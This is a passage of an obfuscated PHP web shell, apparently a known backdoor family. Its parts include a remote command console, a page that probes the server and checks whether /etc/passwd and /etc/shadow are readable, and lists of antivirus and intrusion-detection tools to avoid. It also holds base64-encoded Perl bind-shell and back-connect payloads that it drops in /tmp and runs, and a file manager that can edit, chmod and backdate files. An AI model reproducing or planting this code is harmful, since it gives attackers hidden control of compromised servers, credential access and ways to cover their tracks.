var cmds = new Array(\'\');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push(\'\');
	cur = cmds.length-1;
}
</script>"; goto a69ee; ee17b: if (!empty($_POST[\'p1\'])) { echo htmlspecialchars("\$ " . $_POST[\'p1\'] . "
" . rAKCgEx($_POST[\'p1\'])); } goto d0ac0; e2c33: if (isset($_POST[\'ajax\'])) { goto F96a2; F96a2: rAKCgsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', true); goto ce8ef; e20cc: echo "d.cf.cmd.value=\'\';
"; goto d75b8; fd92c: echo strlen($temp), "
", $temp; goto C0f4e; ce8ef: ob_start(); goto e20cc; Ce8d8: echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; goto D48f1; C0f4e: exit; goto Cb44c; C1136: if (preg_match("!.*cd\s+([^;]+)\$!", $_POST[\'p1\'], $match)) { if (@chdir($match[1])) { $GLOBALS[\'cwd\'] = @getcwd(); echo "c_=\'" . $GLOBALS[\'cwd\'] . "\';"; } } goto f4e80; f4e80: echo "d.cf.output.value+=\'" . $temp . "\';"; goto Ce8d8; D48f1: $temp = ob_get_clean(); goto fd92c; d75b8: $temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
\$ " . $_POST[\'p1\'] . "
" . rAKCgEx($_POST[\'p1\']), "

	\\'")); goto C1136; Cb44c: } goto b36d1; be171: rAKCgHeader(); goto Fac0f; e7968: if (!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) { rAKCgsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'stderr_to_out\', true); $_POST[\'p1\'] .= \' 2>&1\'; } elseif (!empty($_POST[\'p1\'])) { rAKCgsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'stderr_to_out\', 0); } goto e2c33; d0ac0: echo \'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\'; goto D92f3; a2557: foreach ($GLOBALS[\'aliases\'] as $n => $v) { goto edf5f; edf5f: if ($v == \'\') { echo \'<optgroup label="-\' . htmlspecialchars($n) . \'-"></optgroup>\'; goto dcfd8; } goto A056a; d33a6: dcfd8: goto f4a00; A056a: echo \'<option value="\' . htmlspecialchars($v) . \'">\' . $n . \'</option>\'; goto d33a6; f4a00: } goto cae3c; e00a8: rAKCgFooter(); goto A684e; dab37: echo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \' . (@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] ? \'checked\' : \'\') . \'> send using AJAX <input type=checkbox name=show_errors value=1 \' . (!empty($_POST[\'p2\']) || $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'stderr_to_out\'] ? \'checked\' : \'\') . \'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\'; goto ee17b; b36d1: if (empty($_POST[\'ajax\']) && !empty($_POST[\'p1\'])) { rAKCgsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', 0); } goto be171; cae3c: b2d06: goto dab37; A684e: } goto af512; E8033: $safe_mode = @ini_get(\'safe_mode\'); goto F231e; da18f: function actionSecInfo() { goto bd60d; e7257: rAKCgSecParam(\'Open base dir\', @ini_get(\'open_basedir\')); goto Bf750; B844a: $temp = array(); goto e19df; e2828: rAKCgSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\')); goto ee4de; be093: rAKCgSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\'] ? $GLOBALS[\'disable_functions\'] : \'none\'); goto e7257; Bf750: rAKCgSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\')); goto e2828; c3553: echo \'<br>\'; goto b4a15; b4a15: if ($GLOBALS[\'os\'] == \'nix\') { goto D50a7; f3c8d: rAKCgSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\')); goto F6079; F6079: if (!$GLOBALS[\'safe_mode\']) { goto D0664; d841e: echo \'<br/>\'; goto Cfade; D0664: $userful = array(\'gcc\', \'lcc\', \'cc\', \'ld\', \'make\', \'php\', \'perl\', \'python\', \'ruby\', \'tar\', \'gzip\', \'bzip\', \'bzip2\', \'nc\', \'locate\', \'suidperl\'); goto ecabf; ecabf: $danger = array(\'kav\', \'nod32\', \'bdcored\', \'uvscan\', \'sav\', \'drwebd\', \'clamd\', \'rkhunter\', \'chkrootkit\', \'iptables\', \'ipfw\', \'tripwire\', \'shieldcc\', \'portsentry\', \'snort\', \'ossec\', \'lidsadm\', \'tcplodg\', \'sxid\', \'logcheck\', \'logwatch\', \'sysmask\', \'zmbscap\', \'sawmill\', \'wormscan\', \'ninja\'); goto Db98b; bf405: rAKCgSecParam(\'Downloaders\', implode(\', \', $temp)); goto d841e; c835b: foreach ($userful as $item) { if (rAKCgWhich($item)) { $temp[] = $item; } C4d6c: } goto f72d6; f72d6: E42a1: goto Bc347; ec3bc: $temp = array(); goto c835b; Bd88e: $temp = array(); goto E265b; Bc347: rAKCgSecParam(\'Userful\', implode(\', \', $temp)); goto Bd88e; E265b: foreach ($danger as $item) { if (rAKCgWhich($item)) { $temp[] = $item; } d9300: } goto f9503; Db98b: $downloaders = array(\'wget\', \'fetch\', \'lynx\', \'links\', \'curl\', \'get\', \'lwp-mirror\'); goto B802f; bc325: if (isset($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) { goto Fd3b9; c8c42: $_POST[\'p2\']++; goto e8e78; Fd3b9: $temp = ""; goto c532c; d2a60: rAKCgSecParam(\'Users\', $temp); goto F91c6; Fe0af: $uid = @posix_getpwuid($_POST[\'p2\']); goto ac96e; B05b6: echo \'<br/>\'; goto d2a60; d6846: if (!($_POST[\'p2\'] <= $_POST[\'p3\'])) { goto d2607; } goto Fe0af; dcc6e: d2607: goto B05b6; c532c: e6e6f: goto d6846; f220a: A0799: goto c8c42; ac96e: if ($uid) { $temp .= join(\':\', $uid) . "
"; } goto f220a; e8e78: goto e6e6f; goto dcc6e; F91c6: } goto e883d; B802f: echo \'<br>\'; goto ec3bc; df183: rAKCgSecParam(\'Danger\', implode(\', \', $temp)); goto Cf019; Cb88c: F50fa: goto bf405; Cd0bb: echo \'<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\'; goto bc325; f9503: b96f1: goto df183; Cfade: rAKCgSecParam(\'HDD space\', rAKCgEx(\'df -h\')); goto db3ce; bfe1f: foreach ($downloaders as $item) { if (rAKCgWhich($item)) { $temp[] = $item; } dfe97: } goto Cb88c; Cf019: $temp = array(); goto bfe1f; db3ce: rAKCgSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\')); goto Cd0bb; e883d: } goto a2b5b; C88ea: rAKCgSecParam(\'OS version\', @file_get_contents(\'/proc/version\')); goto f3c8d; D50a7: rAKCgSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\') ? "yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>" : \'no\'); goto D05b1; D05b1: rAKCgSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\') ? "yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"shadow\")\'>[view]</a>" : \'no\'); goto C88ea; a2b5b: } else { goto df0f1; df0f1: rAKCgSecParam(\'OS Version\', rAKCgEx(\'ver\')); goto B36d1; B36d1: rAKCgSecParam(\'Account Settings\', rAKCgEx(\'net accounts\')); goto E9d68; E9d68: rAKCgSecParam(\'User Accounts\', rAKCgEx(\'net user\')); goto B1209; B1209: } goto B1813; B7c35: if (function_exists(\'pg_connect\')) { $temp[] = "PostgreSQL"; } goto F96d8; e50ef: if (function_exists(\'apache_get_modules\')) { rAKCgSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules())); } goto be093; ee4de: rAKCgSecParam(\'cURL support\', function_exists(\'curl_version\') ? \'enabled\' : \'no\'); goto B844a; F96d8: if (function_exists(\'oci_connect\')) { $temp[] = "Oracle"; } goto aa0e2; f5ce1: rAKCgSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\')); goto e50ef; B1813: echo \'</div>\'; goto F2b91; e19df: if (function_exists(\'mysql_get_client_info\')) { $temp[] = "MySql (" . mysql_get_client_info() . ")"; } goto B19f1; e2288: echo \'<h1>Server security information</h1><div class=content>\'; goto a9bf9; B19f1: if (function_exists(\'mssql_connect\')) { $temp[] = "MSSQL"; } goto B7c35; bd60d: rAKCgHeader(); goto e2288; F2b91: rAKCgFooter(); goto f8654; a9bf9: function rAKCgSecParam($n, $v) { $v = trim($v); if ($v) { echo \'<span>\' . $n . \': </span>\'; if (strpos($v, "
") === false) { echo $v . \'<br>\'; } else { echo \'<pre class=ml1>\' . $v . \'</pre>\'; } } } goto f5ce1; aa0e2: rAKCgSecParam(\'Supported databases\', implode(\', \', $temp)); goto c3553; f8654: } goto ca417; c1231: if (!empty($auth_pass)) { if (isset($_POST[\'pass\']) && md5($_POST[\'pass\']) == $auth_pass) { rAKCgsetcookie(md5($_SERVER[\'HTTP_HOST\']), $auth_pass); } if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || $_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $auth_pass) { rAKCgLogin(); } } goto F76e6; Ec4df: function actionNetwork() { goto E6272; C21ba: echo "<h1>Network tools</h1><div class=content>
	<form name=\'nfp\' onSubmit=\"g(null,null,\'bpp\',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>
	</form>
	<form name=\'nfp\' onSubmit=\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type=\'text\' name=\'server\' value=\'" . $_SERVER[\'REMOTE_ADDR\'] . "\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>
	</form><br>"; goto Cd985; E6272: rAKCgHeader(); goto dfb04; c5477: rAKCgFooter(); goto F4986; D9106: $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; goto C21ba; dfb04: $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; goto D9106; E4b87: echo \'</div>\'; goto c5477; Cd985: if (isset($_POST[\'p1\'])) { goto c4a3f; cbefa: if ($_POST[\'p1\'] == \'bpp\') { goto A0cfb; e37e1: unlink("/tmp/bp.pl"); goto da975; A0cfb: cf("/tmp/bp.pl", $bind_port_p); goto Fd43f; A5e82: echo "<pre class=ml1>{$out}
" . rAKCgEx("ps aux | grep bp.pl") . "</pre>"; goto e37e1; cef08: sleep(1); goto A5e82; Fd43f: $out = rAKCgEx("perl /tmp/bp.pl " . $_POST[\'p2\'] . " 1>/dev/null 2>&1 &"); goto cef08; da975: } goto cb3b5; c4a3f: function cf($f, $t) { $w = @fopen($f, "w") or @function_exists(\'file_put_contents\'); if ($w) { @fwrite($w, @base64_decode($t)); @fclose($w); } } goto cbefa; cb3b5: if ($_POST[\'p1\'] == \'bcp\') { goto C1eae; De507: unlink("/tmp/bc.pl"); goto ab639; fb218: sleep(1); goto f73b3; D3d1c: $out = rAKCgEx("perl /tmp/bc.pl " . $_POST[\'p2\'] . " " . $_POST[\'p3\'] . " 1>/dev/null 2>&1 &"); goto fb218; C1eae: cf("/tmp/bc.pl", $back_connect_p); goto D3d1c; f73b3: echo "<pre class=ml1>{$out}
" . rAKCgEx("ps aux | grep bc.pl") . "</pre>"; goto De507; ab639: } goto Af796; Af796: } goto E4b87; F4986: } goto c1a8d; e3f69: function actionStringTools() { goto c4106; Cfd94: if (!function_exists(\'hex2ascii\')) { function hex2ascii($p) { goto E787c; dd3e1: return $r; goto C4297; Bdd1e: $i = 0; goto F6448; F6448: f4065: goto d256c; A6245: goto f4065; goto ba010; E787c: $r = \'\'; goto Bdd1e; bc877: F9ca9: goto A6742; ba010: Db965: goto dd3e1; A6742: $i += 2; goto A6245; d256c: if (!($i < strLen($p))) { goto Db965; } goto C600a; C600a: $r .= chr(hexdec($p[$i] . $p[$i + 1])); goto bc877; C4297: } } goto bc413; a170f: rAKCgFooter(); goto Bd7b4; e36bd: if (empty($_POST[\'ajax\']) && !empty($_POST[\'p1\'])) { rAKCgsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', 0); } goto D71de; D71de: rAKCgHeader(); goto a386f; E892e: function rAKCgRecursiveGlob($path) { goto c98fb; e9f02: if (is_array($paths) && @count($paths)) { foreach ($paths as $item) { if (@is_dir($item)) { if ($path != $item) { rAKCgRecursiveGlob($item); } } else { if (empty($_POST[\'p2\']) || @strpos(file_get_contents($item), $_POST[\'p2\']) !== false) { echo "<a href=\'#\' onclick=\'g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")\'>" . htmlspecialchars($item) . "</a><br>"; } } F1a37: } f90a9: } goto E3704; c98fb: if (substr($path, -1) != \'/\') { $path .= \'/\'; } goto f41f1; f41f1: $paths = @array_unique(@array_merge(@glob($path . $_POST[\'p3\']), @glob($path . \'*\', GLOB_ONLYDIR))); goto e9f02; E3704: } goto e9958; bc413: if (!function_exists(\'ascii2hex\')) { function ascii2hex($p) { goto a657d; d3057: ++$i; goto d84a7; Ed311: a94c2: goto Db907; Df898: Ba302: goto f8549; Cb359: $r .= sprintf(\'%02X\', ord($p[$i])); goto D425f; Fcc60: $i = 0; goto Ed311; d84a7: goto a94c2; goto Df898; D425f: bf8d1: goto d3057; Db907: if (!($i < strlen($p))) { goto Ba302; } goto Cb359; f8549: return strtoupper($r); goto dff08; a657d: $r = \'\'; goto Fcc60; dff08: } } goto daa4f; Dd26b: if (!function_exists(\'binhex\')) { function binhex($p) { return dechex(bindec($p)); } } goto Cfd94; e2334: echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] ? \'checked\' : \'\') . "> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>" . (empty($_POST[\'p1\']) ? \'\' : htmlspecialchars(@$_POST[\'p2\'])) . "</textarea></form><pre class=\'ml1\' style=\'" . (empty($_POST[\'p1\']) ? \'display:none;\' : \'\') . "margin-top:5px\' id=\'strOutput\'>"; goto Cd0f2; e9958: if (@$_POST[\'p3\']) { rAKCgRecursiveGlob($_POST[\'c\']); } goto fd1cd; Cd0f2: if (!empty($_POST[\'p1\'])) { if (in_array($_POST[\'p1\'], $stringTools)) { echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\'])); } } goto d1bbd; B1e24: a02bf: goto e2334; a386f: echo \'<h1>String conversions</h1><div class=content>\'; goto f74fa; E1366: $stringTools = array(\'Base64 encode\' => \'base64_encode\', \'Base64 decode\' => \'base64_decode\', \'Url encode\' => \'urlencode\', \'Url decode\' => \'urldecode\', \'Full urlencode\' => \'full_urlencode\', \'md5 hash\' => \'md5\', \'sha1 hash\' => \'sha1\', \'crypt\' => \'crypt\', \'CRC32\' => \'crc32\', \'ASCII to HEX\' => \'ascii2hex\', \'HEX to ASCII\' => \'hex2ascii\', \'HEX to DEC\' => \'hexdec\', \'HEX to BIN\' => \'hex2bin\', \'DEC to HEX\' => \'dechex\', \'DEC to BIN\' => \'decbin\', \'BIN to HEX\' => \'binhex\', \'BIN to DEC\' => \'bindec\', \'String to lower case\' => \'strtolower\', \'String to upper case\' => \'strtoupper\', \'Htmlspecialchars\' => \'htmlspecialchars\', \'String length\' => \'strlen\'); goto Bec3d; Bec3d: if (isset($_POST[\'ajax\'])) { goto fc767; fc767: rAKCgsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', true); goto f66bb; Fd0d1: echo strlen($temp), "
", $temp; goto A4c81; D367b: if (in_array($_POST[\'p1\'], $stringTools)) { echo $_POST[\'p1\']($_POST[\'p2\']); } goto a1269; a1269: $temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\\'") . "\';
"; goto Fd0d1; f66bb: ob_start(); goto D367b; A4c81: exit; goto b2e1f; b2e1f: } goto e36bd; daa4f: if (!function_exists(\'full_urlencode\')) { function full_urlencode($p) { goto F3a55; b18d9: goto Bbf47; goto fd825; Addf4: $i = 0; goto C5231; f5ce4: ++$i; goto b18d9; eac24: if (!($i < strlen($p))) { goto f3b94; } goto d2e71; aa69c: return strtoupper($r); goto A07d7; F3a55: $r = \'\'; goto Addf4; e19c7: c5bbc: goto f5ce4; C5231: Bbf47: goto eac24; d2e71: $r .= \'%\' . dechex(ord($p[$i])); goto e19c7; fd825: f3b94: goto aa69c; A07d7: } } goto E1366; fd1cd: echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method=\'post\' target=\'_blank\' name=\'hf\'>
			<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>
            <input type=\'hidden\' name=\'act\' value=\'find\'/>
			<input type=\'button\' value=\'hashcracking.ru\' onclick=\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\"><br>
			<input type=\'button\' value=\'md5.rednoize.com\' onclick=\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\"><br>
            <input type=\'button\' value=\'crackfor.me\' onclick=\"document.hf.action=\'http://crackfor.me/index.php\';document.hf.submit()\"><br>
		</form></div>"; goto a170f; db327: foreach ($stringTools as $k => $v) { echo "<option value=\'" . htmlspecialchars($v) . "\'>" . $k . "</option>"; f487c: } goto B1e24; f74fa: echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>"; goto db327; d1bbd: echo "</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>
			<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>
			<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\' style=\'width:100%\'></td></tr>
			<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>
			<tr><td></td><td><input type=\'submit\' value=\'>>\'></td></tr>
			</table></form>"; goto E892e; c4106: if (!function_exists(\'hex2bin\')) { function hex2bin($p) { return decbin(hexdec($p)); } } goto Dd26b; Bd7b4: } goto Fa239; f6551: function rAKCgWhich($p) { goto D3df1; c414b: if (!empty($path)) { return $path; } goto C8600; D3df1: $path = rAKCgEx(\'which \' . $p); goto c414b; C8600: return false; goto Ffcf1; Ffcf1: } goto da18f; Ae07a: $auth_pass = ""; goto cdda0; De789: @set_time_limit(0); goto C6b68; Fa239: function actionFilesTools() { goto aca4e; eba45: if (is_file($_POST[\'p1\'])) { $m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\'); } else { $m = array(\'Chmod\', \'Rename\', \'Touch\'); } goto cc73d; F19ec: a52d7: goto a43eb; F332a: $uid = @posix_getpwuid(@fileowner($_POST[\'p1\'])); goto A3677; f2d25: if (!file_exists(@$_POST[\'p1\'])) { goto bd83a; a77a4: return; goto a7854; bd83a: echo \'File not exists\'; goto F0d77; F0d77: rAKCgFooter(); goto a77a4; a7854: } goto F332a; A3677: if (!$uid) { $uid[\'name\'] = @fileowner($_POST[\'p1\']); $gid[\'name\'] = @filegroup($_POST[\'p1\']); } else { $gid = @posix_getgrgid(@filegroup($_POST[\'p1\'])); } goto E13ce; D8a2a: switch ($_POST[\'p2\']) { case \'view\': goto Ca24f; Bec95: if ($fp) { goto D8210; E90fe: echo htmlspecialchars(@fread($fp, 1024)); goto C84aa; C84aa: goto b1068; goto a76bc; F7522: if (@feof($fp)) { goto c5a90; } goto E90fe; a76bc: c5a90: goto d9b65; D8210: b1068: goto F7522; d9b65: @fclose($fp); goto a68ec; a68ec: } goto fa2c0; f5154: goto f809c; goto e2c0e; Ca24f: echo \'<pre class=ml1>\'; goto E9d3f; fa2c0: echo \'</pre>\'; goto f5154; E9d3f: $fp = @fopen($_POST[\'p1\'], \'r\'); goto Bec95; e2c0e: case \'highlight\': if (@is_readable($_POST[\'p1\'])) { goto B8cfe; Eec75: echo str_replace(array(\'<span \', \'</span>\'), array(\'<font \', \'</font>\'), $code) . \'</div>\'; goto Ac506; Db187: $code = @highlight_file($_POST[\'p1\'], true); goto Eec75; B8cfe: echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\'; goto Db187; Ac506: } goto f809c; case \'chmod\': goto Dd4d8; Ae197: clearstatcache(); goto B8e9d; Dd4d8: if (!empty($_POST[\'p3\'])) { goto Fb195; b9c85: if (!@chmod($_POST[\'p1\'], $perms)) { echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\'; } goto d849e; d160a: F2040: goto c8ca8; A38be: bb227: goto b9c85; Cd136: goto E197d; goto A38be; Fb195: $perms = 0; goto D63cd; c8ca8: --$i; goto Cd136; D63cd: $i = strlen($_POST[\'p3\']) - 1; goto Ad259; dc8ce: $perms += (int) $_POST[\'p3\'][$i] * pow(8, strlen($_POST[\'p3\']) - $i - 1); goto d160a; Ad259: E197d: goto bcb90; bcb90: if (!($i >= 0)) { goto bb227; } goto dc8ce; d849e: } goto Ae197; B8e9d: echo \'<script>p3_="";</script><form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,this.chmod.value);return false;"><input type=text name=chmod value="\' . substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])), -4) . \'"><input type=submit value=">>"></form>\'; goto D03dd; D03dd: goto f809c; goto d9395; d9395: case \'edit\': goto cf465; ed48e: echo \'<form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>\'; goto E85d1; c4911: if (!empty($_POST[\'p3\'])) { goto e9588; e8ee7: $_POST[\'p3\'] = substr($_POST[\'p3\'], 1); goto E06e2; D3fff: if ($fp) { goto Fc159; Fc159: @fwrite($fp, $_POST[\'p3\']); goto D779e; fda68: @touch($_POST[\'p1\'], $time, $time); goto A6571; D779e: @fclose($fp); goto Ed55b; Ed55b: echo \'Saved!<br><script>p3_="";</script>\'; goto fda68; A6571: } goto aa20f; e9588: $time = @filemtime($_POST[\'p1\']); goto e8ee7; E06e2: $fp = @fopen($_POST[\'p1\'], "w"); goto D3fff; aa20f: } goto ed48e; Efe11: goto f809c; goto a99fe; E85d1: $fp = @fopen($_POST[\'p1\'], \'r\'); goto ce894; ce894: if ($fp) { goto Ce9f6; d5188: A0d6a: goto Cfa05; E3abf: echo htmlspecialchars(@fread($fp, 1024)); goto ff604; bed46: if (@feof($fp)) { goto A0d6a; } goto E3abf; Ce9f6: F81b6: goto bed46; Cfa05: @fclose($fp); goto A7f97; ff604: goto F81b6; goto d5188; A7f97: } goto ce7df; ce7df: echo \'</textarea><input type=submit value=">>"></form>\'; goto Efe11; cf465: if (!is_writable($_POST[\'p1\'])) { echo \'File isn\'t writeable\'; goto f809c; } goto c4911; a99fe: case \'hexdump\': goto bd1d4; bdeec: $h[1] .= sprintf(\'%02X\', ord($c[$i])) . \' \'; goto efa9b; E9ea7: d7c0b: goto da981; bd1d4: $c = @file_get_contents($_POST[\'p1\']); goto d7d9e; Eb8f2: $h = array(\'00000000<br>\', \'\', \'\'); goto e1aef; B1969: F1320: goto D30d1; D30d1: ++$i; goto Ec8cd; C0dbf: c2296: goto ca4c6; e046c: goto f809c; goto a3841; b4a52: if (!($i < $len)) { goto d7c0b; } goto bdeec; e1aef: $len = strlen($c); goto B9652; B9652: $i = 0; goto C8338; efa9b: switch (ord($c[$i])) { case 0: $h[2] .= \' \'; goto Cbb23; case 9: $h[2] .= \' \'; goto Cbb23; case 10: $h[2] .= \' \'; goto Cbb23; case 13: $h[2] .= \' \'; goto Cbb23; default: $h[2] .= $c[$i]; goto Cbb23; } goto C0dbf; c9a42: if ($n == 32) { goto c15ad; c15ad: $n = 0; goto Ce99f; Ce99f: if ($i + 1 < $len) { $h[0] .= sprintf(\'%08X\', $i + 1) . \'<br>\'; } goto cdeb1; cdeb1: $h[1] .= \'<br>\'; goto D8b98; D8b98: $h[2] .= "
"; goto bae18; bae18: } goto B1969; ca4c6: Cbb23: goto F05ed; da981: echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\' . $h[0] . \'</pre></span></td><td bgcolor=#282828><pre>\' . $h[1] . \'</pre></td><td bgcolor=#333333><pre>\' . htmlspecialchars($h[2]) . \'</pre></td></tr></table>\'; goto e046c; F05ed: $n++; goto c9a42; d7d9e: $n = 0; goto Eb8f2; C8338: f2ccc: goto b4a52; Ec8cd: goto f2ccc; goto E9ea7; a3841: case \'rename\': goto e6c9e; a9bdf: echo \'<form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,this.name.value);return false;"><input type=text name=name value="\' . htmlspecialchars($_POST[\'p1\']) . \'"><input type=submit value=">>"></form>\'; goto cc768; cc768: goto f809c; goto A052a; e6c9e: if (!empty($_POST[\'p3\'])) { if (!@rename($_POST[\'p1\'], $_POST[\'p3\'])) { echo \'Can\'t rename!<br>\'; } else { die(\'<script>g(null,null,"\' . urlencode($_POST[\'p3\']) . \'",null,"")</script>\'); } } goto a9bdf; A052a: case \'touch\': goto B6ead; B6ead: if (!empty($_POST[\'p3\'])) { $time = strtotime($_POST[\'p3\']); if ($time) { if (!touch($_POST[\'p1\'], $time, $time)) { echo \'Fail!\'; } else { echo \'Touched!\'; } } else { echo \'Bad time format!\'; } } goto B3f48; B3f48: clearstatcache(); goto ba05d; b230b: goto f809c; goto a8d29; ba05d: echo \'<script>p3_="";</script><form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,this.touch.value);return false;"><input type=text name=touch value="\' . date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])) . \'"><input type=submit 